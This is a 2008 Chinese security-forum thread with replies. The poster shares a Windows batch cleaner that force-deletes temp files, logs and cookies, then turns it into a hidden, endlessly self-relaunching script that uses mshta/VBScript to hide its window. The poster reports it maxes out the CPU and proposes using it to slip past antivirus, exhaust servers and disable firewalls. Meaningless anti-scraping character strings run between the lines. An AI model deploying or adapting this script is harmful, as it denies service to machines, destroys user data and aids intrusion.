标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
[打印本页]
作者:
平湖秋月
时间:
2008-9-13 23:51
标题:
【原创】再谈垃圾清除的批处理和其流氓运用！
大家经常会看到这个垃圾清除的的BAT程序，也就是很多人所说的30秒清除所有的系统他及程序 说实话这个批处理效果确实不错 ，速度快而且不重不漏！系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善，要是能够自动检测系统中的垃圾文件并且删除那该多好啊！
; M3 p9 @& i7 {7 Y6 |3 l
a.bat源代码如下：
0 W& h* r/ L2 S" R; s/ c5 i0 N
0 |0 ?" D% W! a. Z6 {" B
9 o( w/ y# r9 v
===可以直接保存改名a.bat=====================
7 F' J9 g9 ~5 {$ X3 W! R( Y; z
@echo off
( K9 C. y! A4 ^5 ^, x; D
echo 正在清除系统垃圾文件，请稍等......
% [+ _, B' c$ w& d
@del /f /s /q %systemdrive%\*.tmp
. G' y' l( c8 F: D
@del /f /s /q %systemdrive%\*._mp
; E9 t$ s5 r5 u
@del /f /s /q %systemdrive%\*.log
0 I0 y/ W! f _' k+ G
@del /f /s /q %systemdrive%\*.gid
* [2 k; m# ?" `# o! i
@del /f /s /q %systemdrive%\*.chk
5 n9 J& g, }( T9 Q9 S. P
@del /f /s /q %systemdrive%\*.old
4 J; T. V2 s: Q/ q
@del /f /s /q %systemdrive%\recycled\*.*
1 B7 B7 {+ S4 i3 k% W3 \4 W
@del /f /s /q %windir%\*.bak
|3 }, f+ T, a6 _
@del /f /s /q %windir%\prefetch\*.*
: I9 ~& T) T6 L5 Y2 S
@rd /s /q %windir%\temp & md %windir%\temp
' @# q2 @6 F( _" c9 v
@del /f /q %userprofile%\cookies\*.*
) _* }; z4 u: J) e7 D
@del /f /q %userprofile%\recent\*.*
4 i% k3 E. n! e) G9 E
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
0 ^( I1 ?& H# L0 ]
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
2 z0 ^6 Q! v2 u" p- `. h. K
@del /f /s /q "%userprofile%\recent\*.*"
) I8 a- x* X0 L3 H( L! Q& l
echo 清除系统LJ完成！
* c, W) A, }( _
其实简单的一句话便实现了那个功能，在“echo 清除系统LJ完成！”后面加上一句 “call a.bat”就OK了，命令的意思大家都懂，我就不做解释了！我运行了一下，到是能够自动检测和删除了，而且关掉对话框也简单，直接关闭就行了！但是如果 被当作入侵工具却又点太暴露，并且那个DOS框始终不能隐藏，很容易被发现.这该怎么办？想想批处理里面的命令，貌似没见到有隐藏对话框的用法（如果有请告诉指教一下！我的QQ：118122875），于是到网上找了一下，决定用VBS代码实现，于是又加上了下面的代码，其实也很简单，也就加了一句话进去：
- V$ p$ C$ L0 i& R' d: z
/ u7 V5 W# k2 X' ^% H3 o, S1 Z- D
===可以直接保存改名为a.bat
(一定要是a.bat哦具体说明原因你应该明白吧======
- I" c5 `* _" A4 h- I
@echo off
; c/ D9 t4 O& }5 Y) @' @
if "%1" == "h" goto begin
& J. U, H+ `4 S/ |' B1 y9 `
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
% c% M6 d6 d0 y6 ?% |$ N/ R
:begin
8 S4 H2 F% w( B7 C' F& F
echo 正在清除系统垃圾文件，请稍等......
! P5 _' O0 |& n1 f. Z
@@del /f /s /q %systemdrive%\*.tmp
( C% M5 g) A& b* m
@del /f /s /q %systemdrive%\*._mp
0 A |/ E; o1 k3 w( _$ D
@del /f /s /q %systemdrive%\*.log
9 w" ^$ K" i5 |' I# V
@del /f /s /q %systemdrive%\*.gid
L$ ?4 d: U' l: x
@del /f /s /q %systemdrive%\*.chk
/ W- ?8 G; k! C! x$ {0 u
@del /f /s /q %systemdrive%\*.old
: H9 }6 J# z: O
@del /f /s /q %systemdrive%\recycled\*.*
* E; F. L; U2 _% S& b% A
@del /f /s /q %windir%\*.bak
! c( E/ l# t# _/ d
@del /f /s /q %windir%\prefetch\*.*
; g2 K& T- \. E$ @+ J3 U* V$ X
@rd /s /q %windir%\temp & md %windir%\temp
; w7 o# X c5 f4 V# `$ X
@del /f /q %userprofile%\cookies\*.*
) J) ^. s% T! U1 y4 O3 A. a" p5 o
@del /f /q %userprofile%\recent\*.*
# I# E# |% K( A+ @% `. g
@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
9 w1 M' p/ s1 M: X8 u/ c7 W
@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
8 R/ u+ Q- g9 N, T1 r) @5 v" z
@del /f /s /q "%userprofile%\recent\*.*"
" N5 Q% p* P# l! Z: {, o
echo 清除系统LJ完成！
! {0 h: t! B1 Y/ E7 l9 |. j
call a.bat
9 V3 x0 @7 z& j$ S
运行看看！什么效果？
- x# k" ?: ~: ~& F) F1 c1 x
对话框消失了！打开任务管理器查看显示CPU运用：100% 看进程里面cmd.exe占用CPU：99 本来想删除这个进程，但是哪晓得点右键准备去删除那个cmd.exe，没有想到不见了，然后仔细一看，其实cmd.exe没有不见，但是已经PID不一样了，也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环，这时候有的朋友会想可以用taskkill命令来删除进程，但是PID几乎是每2秒换一次，你的速度有那么快？！目前我还没找到解决的办法（高手请指教），无赖只好重新启动...哎！其实这都是雕虫小技，只不过是最基础的东西，但是有的时候最简单的也是最要命的！
1 D3 F/ E# M' k% f
6 P5 O* @ Q m( {- q5 a* ~
你说，我们可以利用这个BAT做些什么：
3 e I1 E( F+ R. }' Q3 ^8 |
* N! n: \1 d& l8 v
1.因为bat文件可以躲过杀软！这样利用它的无限循环启动一些你自己的程序，当然咯，重复的循环安装时没有必要的，我只是打个比方，你可以自己改动代码达到自己的目的！
" e# A0 {# q; p. E) D6 `
2.它循环使用消耗资源，如果这样的程序多弄几个，全部启动.你说服务器会怎么样？
7 F! H; b2 p0 `- W
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码，那不是更好？当然这些应用都是我个人的一些分析，没有真正的实验过，我想一个可以成功的通过～不过，这个小东西还有个美中不足，cmd.exe在进程里面看得到，至于怎么隐藏，那就请各位高手指教了，在下刚刚接触批处理，莱鸟一个，有什么不对的地方和我联系啊！我的QQ：118122875 平湖秋月
作者:
上帝的爱
时间:
2008-9-14 05:03
想法非常不错
作者:
柔肠寸断
时间:
2008-9-14 17:34
打个岔，流氓的应用，呵呵
作者:
柔肠寸断
时间:
2008-9-14 17:38
现在来正经的回答下问题：
8 s& A' d: R& X0 f. }
1、在bat下隐藏对话框，可以使用一个参数的，但是我记不得了
- `6 w- X1 z7 N. I% i
( P% c, K0 D0 [
2、可以将bat转换成exe格式的文件啊，使用bat2exe,下次我找到了就发出来哈
作者:
问道小生
时间:
2008-9-14 19:03
其实这个批处理还有一个问题，就是把log文件一律也作为垃圾处理了~~~
: D2 E/ h+ k- G' J! v
部分软件卸载是需要log文件的，删除了它，就会造成软件无法正常卸载，或者卸载不干净。因此，log文件并不是垃圾，不同软件计录的log文件有着不同的作用，有的甚至是非常重要的，不是可以随便删除的，例如：一张CD碟片就有一个log日志文件，它主要记录EAC对CD抓轨的各项参数。
作者:
平湖秋月
时间:
2008-9-15 21:43
楼上的你们说的都有道理 理论上是成立的 我有时间试试看
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2
